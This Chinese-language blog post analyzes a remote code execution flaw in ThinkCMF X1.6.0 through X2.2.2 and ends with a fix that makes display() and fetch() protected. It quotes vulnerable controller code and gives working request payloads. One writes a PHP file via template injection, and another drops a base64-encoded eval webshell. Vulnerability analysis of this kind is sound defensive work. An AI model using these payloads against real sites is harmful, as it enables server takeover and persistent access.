Twosmi1e's Blog.

thinkCMF任意内容包含漏洞分析

Word count: 750 / Reading time: 3 min
2019/10/25 Share

项目简介

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。 官网:http://www.thinkcmf.com 文档:http://www.thinkcmf.com/document

github地址:https://github.com/thinkcmf/cmfx

影响版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2

漏洞危害

可以构造请求包发送给服务器达到远程执行任意代码的效果。

漏洞分析

先看下代码整体结构
Alt text
项目路径在application/
Alt text
找到IndexController的代码,看到父类为Common\Controller\HomebaseController
注意到其中的display()函数

1
2
3
4
5
6
7
8
9
10
11
12
/**
* 加载模板和页面输出 可以返回输出内容
* @access public
* @param string $templateFile 模板文件名
* @param string $charset 模板输出字符集
* @param string $contentType 输出类型
* @param string $content 模板输出内容
* @return mixed
*/
public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
parent::display($this->parseTemplate($templateFile), $charset, $contentType,$content,$prefix);
}

测试一下display函数
Alt text
http://localhost:9094/?a=display&templateFile=README.md
url中的参数,a代表action,指定你所要调用的public的function,后面为传入function的参数。
这里传入templateFile后,templateFile参数会经过parseTemplate函数处理,判断模板是否存在,当模板不存在时会在当前目录下开始查找。
Alt text
Alt text

想要利用这个漏洞还需要上传漏洞上传webshell配合使用。

注意到下面的fetch函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/**
* 获取输出页面内容
* 调用内置的模板引擎fetch方法,
* @access protected
* @param string $templateFile 指定要调用的模板文件
* 默认为空 由系统自动定位模板文件
* @param string $content 模板输出内容
* @param string $prefix 模板缓存前缀*
* @return string
*/
public function fetch($templateFile='',$content='',$prefix=''){
$templateFile = empty($content)?$this->parseTemplate($templateFile):'';
return parent::fetch($templateFile,$content,$prefix);
}

函数功能是获取输出页面内容,调用smarty模板引擎中的内置fetch方法,我们知道smarty是存在模板注入的。
http://localhost:9094/?a=fetch&templateFile=public/index&prefix=%27%27&content=%3Cphp%3Efile_put_contents(%27test1.php%27,%27%3C?php%20phpinfo();%20?%3E%27)%3C/php%3E

执行payload传入参数
Alt text
判断content不为空,把templateFile置为空。
Alt text
这里看下我们的项目目录下面已经写入了文件。
Alt text
再用之前的文件包含漏洞执行就可以了。
Alt text

写shell payload:
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('shell.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJ3gnXSk7Pz4='))</php>

修复方法

将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符由public改为protected

CATALOG
  1. 1. 项目简介
  2. 2. 影响版本
  3. 3. 漏洞危害
  4. 4. 漏洞分析
  5. 5. 修复方法